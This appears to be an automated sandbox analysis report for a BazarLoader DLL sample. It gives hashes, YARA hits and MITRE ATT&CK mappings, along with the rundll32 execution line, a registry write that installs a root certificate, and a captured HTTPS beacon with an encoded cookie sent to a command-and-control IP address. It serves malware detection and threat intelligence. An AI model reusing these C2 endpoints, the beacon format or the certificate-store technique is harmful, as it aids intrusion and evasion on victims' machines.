bazarloader | 081409dbf0464baad30442d3f8cea67c885e15e438b0f6dbf9c64da67620eaa1

General

Target

efad3e8098fdc4778d1744abb659fb04_JaffaCakes118.dll
Size

537KB
MD5

efad3e8098fdc4778d1744abb659fb04
SHA1

90e28ff7cc0cc20ae2f10652f9ffda01107470ed
SHA256

081409dbf0464baad30442d3f8cea67c885e15e438b0f6dbf9c64da67620eaa1
SHA512

a203e6084df1fde1f037bf7071a901541cfed9e18f5924c3ee47176bba2256774774fb08214520792b0603aa9784836d58fc55b38c7d987cec8a9d1be8a83783
SSDEEP

12288:DXI/lsYS/im/YnmCPksStIYotSPNwGG+Sft:DX67zmCPksUIYMO+GG+U

Score

10^/10

bazarloader dropper loader

Malware Config

Signatures

Bazar Loader
Detected loader normally used to deploy BazarBackdoor malware.
loader dropper bazarloader

Bazar/Team9 Loader payload 2 IoCs

resource	yara_rule
behavioral1/memory/1196-0-0x0000000000120000-0x000000000014A000-memory.dmp	BazarLoaderVar5
behavioral1/memory/1196-1-0x0000000000120000-0x000000000014A000-memory.dmp	BazarLoaderVar5

Blocklisted process makes network request 2 IoCs

flow	pid	Process
3	1196	rundll32.exe
4	1196	rundll32.exe

Modifies system certificate store 2 TTPs 2 IoCs

evasion spyware trojan

Install Root Certificate

T1553.004

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8	rundll32.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8\Blob = 0400000001000000100000000cd2f9e0da1773e9ed864da5e370e74e14000000010000001400000079b459e67bb6e5e40173800888c81a58f6e99b6e030000000100000014000000cabd2a79a1076a31f21d253635cb039d4329a5e80f00000001000000200000003f0411ede9c4477057d57e57883b1f205b20cdc0f3263129b1ee0269a2678f631900000001000000100000002fe1f70bb05d7c92335bc5e05b984da620000000010000006f0500003082056b30820353a0030201020211008210cfb0d240e3594463e0bb63828b00300d06092a864886f70d01010b0500304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f74205831301e170d3135303630343131303433385a170d3335303630343131303433385a304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f7420583130820222300d06092a864886f70d01010105000382020f003082020a0282020100ade82473f41437f39b9e2b57281c87bedcb7df38908c6e3ce657a078f775c2a2fef56a6ef6004f28dbde68866c4493b6b163fd14126bbf1fd2ea319b217ed1333cba48f5dd79dfb3b8ff12f1219a4bc18a8671694a66666c8f7e3c70bfad292206f3e4c0e680aee24b8fb7997e94039fd347977c99482353e838ae4f0a6f832ed149578c8074b6da2fd0388d7b0370211b75f2303cfa8faeddda63abeb164fc28e114b7ecf0be8ffb5772ef4b27b4ae04c12250c708d0329a0e15324ec13d9ee19bf10b34a8c3f89a36151deac870794f46371ec2ee26f5b9881e1895c34796c76ef3b906279e6dba49a2f26c5d010e10eded9108e16fbb7f7a8f7c7e50207988f360895e7e237960d36759efb0e72b11d9bbc03f94905d881dd05b42ad641e9ac0176950a0fd8dfd5bd121f352f28176cd298c1a80964776e4737baceac595e689d7f72d689c50641293e593edd26f524c911a75aa34c401f46a199b5a73a516e863b9e7d72a712057859ed3e5178150b038f8dd02f05b23e7b4a1c4b730512fcc6eae050137c439374b3ca74e78e1f0108d030d45b7136b407bac130305c48b7823b98a67d608aa2a32982ccbabd83041ba2830341a1d605f11bc2b6f0a87c863b46a8482a88dc769a76bf1f6aa53d198feb38f364dec82b0d0a28fff7dbe21542d422d0275de179fe18e77088ad4ee6d98b3ac6dd27516effbc64f533434f0203010001a3423040300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e0416041479b459e67bb6e5e40173800888c81a58f6e99b6e300d06092a864886f70d01010b05000382020100551f58a9bcb2a850d00cb1d81a6920272908ac61755c8a6ef882e5692fd5f6564bb9b8731059d321977ee74c71fbb2d260ad39a80bea17215685f1500e59ebcee059e9bac915ef869d8f8480f6e4e99190dc179b621b45f06695d27c6fc2ea3bef1fcfcbd6ae27f1a9b0c8aefd7d7e9afa2204ebffd97fea912b22b1170e8ff28a345b58d8fc01c954b9b826cc8a8833894c2d843c82dfee965705ba2cbbf7c4b7c74e3b82be31c822737392d1c280a43939103323824c3c9f86b255981dbe29868c229b9ee26b3b573a82704ddc09c789cb0a074d6ce85d8ec9efceabc7bbb52b4e45d64ad026cce572ca086aa595e315a1f7a4edc92c5fa5fbffac28022ebed77bbbe3717b9016d3075e46537c3707428cd3c4969cd599b52ae0951a8048ae4c3907cecc47a452952bbab8fbadd233537de51d4d6dd5a1b1c7426fe64027355ca328b7078de78d3390e7239ffb509c796c46d5b415b3966e7e9b0c963ab8522d3fd65be1fb08c284fe24a8a389daac6ae1182ab1a843615bd31fdc3b8d76f22de88d75df17336c3d53fb7bcb415fffdca2d06138e196b8ac5d8b37d775d533c09911ae9d41c1727584be0241425f67244894d19b27be073fb9b84f817451e17ab7ed9d23e2bee0d52804133c31039edd7a6c8fc60718c67fde478e3f289e0406cfa5543477bdec899be91743df5bdb5ffe8e1e57a2cd409d7e6222dade1827	rundll32.exe

C:\Windows\system32\rundll32.exe
rundll32.exe C:\Users\Admin\AppData\Local\Temp\efad3e8098fdc4778d1744abb659fb04_JaffaCakes118.dll,#1
1⤵
- Blocklisted process makes network request
- Modifies system certificate store
PID:1196

Network

GET

https://164.90.229.209/instrument/violin

rundll32.exe

Remote address:

164.90.229.209:443

Request

GET /instrument/violin HTTP/1.1
Date: Sun, 14 Apr 2024 22:41::18 GMT
Cookie: bx=aGwA7TrDNHBuHXqkRsv%2B2WO7IQhhzTu7z0vZtsG6S8%2FjqmmqIQjx97V2Xv%2FzfzJeGOTizHpAR06zRuqL7a9kWkU7Lf79SfWFto6S%2Fc13OSWrlPmgczRkaB1ZrQUh2zrrXE1v5Fr5hg%2Bw3KUiy5tyCVvdxcBCwEcjB%2BV7K4CcL%2BDhBruj7FiIfhrj5L9ZEj8dpSQgG7JXEh6dV7BzD7K4j4%2BRylRO3WgjvvFqMlRUQQKSIG%2Faz312qxG8TjjbjKokpP98g9zKWIFach80JQMsCZ8z01npsuzJy5S03tCZSbsAmEXzcUWsFmncwY0IoSrkzlIEHZBbcMBF3aHryD0dHQ%3D%3D
User-Agent: Win
Host: 164.90.229.209
Cache-Control: no-cache

Response

HTTP/1.1 404 Not Found

Server: nginx/1.18.0 (Ubuntu)
Date: Sun, 14 Apr 2024 22:41:19 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 321
Connection: keep-alive
X-Powered-By: Express
ETag: W/"141-JrG2f8HdAUW7xwD0qCkEVQAfYDc"
Set-Cookie: connect.sid=s%3AhNZVD4H0Q98WbiT4i64cgJhhrgq3Gxai.yIYWsMTftwLVhk%2F0%2F%2FW5p8uoQM1OLsYMZlYJWSCA9S4; Path=/; HttpOnly

164.90.229.209:443

https://164.90.229.209/instrument/violin

tls, http

rundll32.exe

1.2kB
4.3kB
7
9

HTTP Request

GET https://164.90.229.209/instrument/violin

HTTP Response

404
164.90.229.166:443

rundll32.exe

152 B
3

No results found

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Subvert Trust Controls

1

T1553

Install Root Certificate

1

T1553.004

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/1196-0-0x0000000000120000-0x000000000014A000-memory.dmp

Filesize
168KB

Download
memory/1196-1-0x0000000000120000-0x000000000014A000-memory.dmp

Filesize
168KB

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

HTTP Request

HTTP Response

MITRE ATT&CK Enterprise v15

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Downloads

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